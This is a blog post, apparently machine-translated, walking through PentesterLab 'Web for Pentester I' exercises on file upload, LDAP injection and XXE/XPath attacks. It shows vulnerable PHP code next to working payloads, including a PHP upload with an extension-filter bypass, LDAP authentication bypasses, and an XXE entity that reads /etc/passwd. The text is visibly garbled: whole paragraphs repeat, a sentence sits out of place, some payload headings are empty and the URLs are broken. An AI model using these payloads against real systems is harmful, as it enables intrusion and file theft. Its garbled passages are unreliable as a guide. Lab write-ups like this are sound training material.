We arrived at the last entry of the " Web for Pentester I " solutes of Pentesterlab, which more than a lab has been a didactic trip through the most common web vulnerabilities, allowing a good understanding of them comparing each operation (payload) with the PHP code vulnerable from the server.
So we are going to close this series of five entries with the exercises corresponding to the vulnerabilities that were still pending: upload of files and LDAP and XML attacks.
If you take a look at the code you will see that there is a small control with the function preg_match to deny the upload of files with extension .php:So we are going to close this series of five entries with the exercises corresponding to the vulnerabilities that were still pending: upload of files and LDAP and XML attacks.
FILE UPLOAD
The possibility of uploading files is a functional requirement in many web applications, but also a significant risk for it.
From the prism of the attacker, find a form to upload files is good news because it can be the door to introduce malicious code executable on both the server and the client.
For example, any lack or failure in the verification of the type of content (content-type), the extension of the file or the image uploaded may involve the introduction of a web shell that completely commits the server and the users who visit it. .
Exercise 1
Normally to implement the upload of files, a simple code with a part in HTML will be enough to createa user interface that allows the user to choose which file to upload, and another part with a PHP script that contains the code that handles the request to load the selected file.
In the first exercise there are no restrictions on the type of files allowed for uploading. Therefore, an attacker can load a file with a shell in PHP (or other malicious code) that can lead to full control of the server.
SERVER
For the PoC it is enough to upload a simple php code with the phpinfo function:
PAYLOAD
Therefore, if you access the url pointing to the recently uploaded file you can check the php code running on the server:
The possibility of uploading files is a functional requirement in many web applications, but also a significant risk for it.
From the prism of the attacker, find a form to upload files is good news because it can be the door to introduce malicious code executable on both the server and the client.
For example, any lack or failure in the verification of the type of content (content-type), the extension of the file or the image uploaded may involve the introduction of a web shell that completely commits the server and the users who visit it. .
Exercise 1
Normally to implement the upload of files, a simple code with a part in HTML will be enough to createa user interface that allows the user to choose which file to upload, and another part with a PHP script that contains the code that handles the request to load the selected file.
In the first exercise there are no restrictions on the type of files allowed for uploading. Therefore, an attacker can load a file with a shell in PHP (or other malicious code) that can lead to full control of the server.
SERVER
<?php require_once('../header.php'); ?>
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
{
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
}
else
{
echo 'Upload failed';
}
}
?>
<form method="POST" action="example1.php" enctype="multipart/form-data">
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>
<?php require_once('../footer.php'); ?>
For the PoC it is enough to upload a simple php code with the phpinfo function:
PAYLOAD
echo "<?php phpinfo(); ?>" > phpinfo.php
Therefore, if you access the url pointing to the recently uploaded file you can check the php code running on the server:
<?php require_once("../header.php"); ?>
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {
DIE("NO PHP");
}
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
{
echo 'Upload done !';
echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
}
else
{
echo 'Upload failed';
}
}
?>
<form method="POST" action="example2.php" enctype="multipart/form-data">
Image: <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form>
<?php require_once("../footer.php"); ?>
That can be skipped simply by renaming the file to upload:
PAYLOAD
And when accessing the corresponding URL you will get the same result as in the previous exercise:
http: // pentesterlab / upload / images / phpinfo.php.test
LDAP ATTACKS The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts and many other objects. LDAP injection is a server-side attack that could allow sensitive information about users and hosts represented in an LDAP structure to be revealed, modified or inserted. This is done by manipulating the input parameters passed after the internal search, addition and modification functions.
A web application can use LDAP to allow users to authenticate or search for information from other users within a corporate structure. The goal of LDAP injection attacks is to inject meta-characters of LDAP search filters into a query that will be executed by the application,
if a web application uses LDAP to check user credentials during the login process and is vulnerable to LDAP injection, it is possible to omit the authentication check by injecting an always true LDAP query (similar to SQL injection and XPATH).
Exercise 1:
As you can see in the server code, the ldap_bind function is used, which expects the user of the 'people' branch and specified passwords as parameters:
SERVER
<?php
... ...
if ($ld) {
if (isset($_GET["username"])) {
$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
}
$lb = @ldap_bind($ld, $user,$_GET["password"]);
... ...
?>
http: //pentesterlab/ldap/example1.php? username = hacker & password = hacker
However, if these parameters are not specified, the result will be an anonymous query and authentication will be bypassed.
Just remove them: PAYLOAD
http: //pentesterlab/ldap/example1.php
Exercise 2:
SERVER
<?php
... ...
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
... ...
?>
In this case we will add the character that will make everything that comes later is no longer treated, so the filter " (& (cn = hacker) (cn = *)) (userPassword = [pass])) " will be the valid payload for this exercise.
PAYLOAD
http: //pentesterlab/ldap/example2.php? Name = hacker) (cn = *)) & password = test
XML ATTACKS
Also known as XXE attacks (XML eXternal Entity), they abuse the so-called external entities that use the XML parser to access a resource specified in the URI, for example a file on the server.
Exploiting these types of vulnerabilities, it is possible to perform a denial of service (even to remote systems), gain unauthorized access to files on the server and scan and even obtain information from other machines in the segment.
Exercise 1:
The first exercise does not put restrictions on our imagination:
SERVER
<?php require_once("../header.php"); ?>
Hello
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>
So for example, we will use the vulnerability to obtain the passwd file:
PAYLOAD
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>
PoC (with encoded URL):
http: //pentesterlab/xml/example1.php? Xml =% 3C% 21DOCTYPE% 20test% 20% 5B% 3C% 21ENTITY% 20xxe% 20SYSTEM% 20% 22file% 3A% 2f% 2f % 2fetc% 2fpasswd% 22% 3E% 5D% 3E% 3Ctest% 3E% 26xxe% 3B% 3C% 2ftest% 3E
And the result will be as desired:
Exercise 2:
SERVER
<?php require_once("../header.php");
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
?>
PAYLOAD
users / user / name [. =' 'Or 1 = 1]' ] / parent :: * / message
Getting from this way the user credentials:
PoC:
http: //pentesterlab/xml/example2.php? name = 'or 1 = 1]
And here concludes this instructive series of exercises with which we have reviewed the most common web vulnerabilities. There is a second part, ' Web for pentester II "which also will and hope to publish later, but first I want to do other labs not as extensive and more targeted to exploit a particular vulnerability and" ownear "a machine.
I leave a table the links to the 5 entries of 'Web for Pentester I' (which is copied in each one so that you can move more easily through the whole laboratory):
very nice. i appreciate your effort
ReplyDelete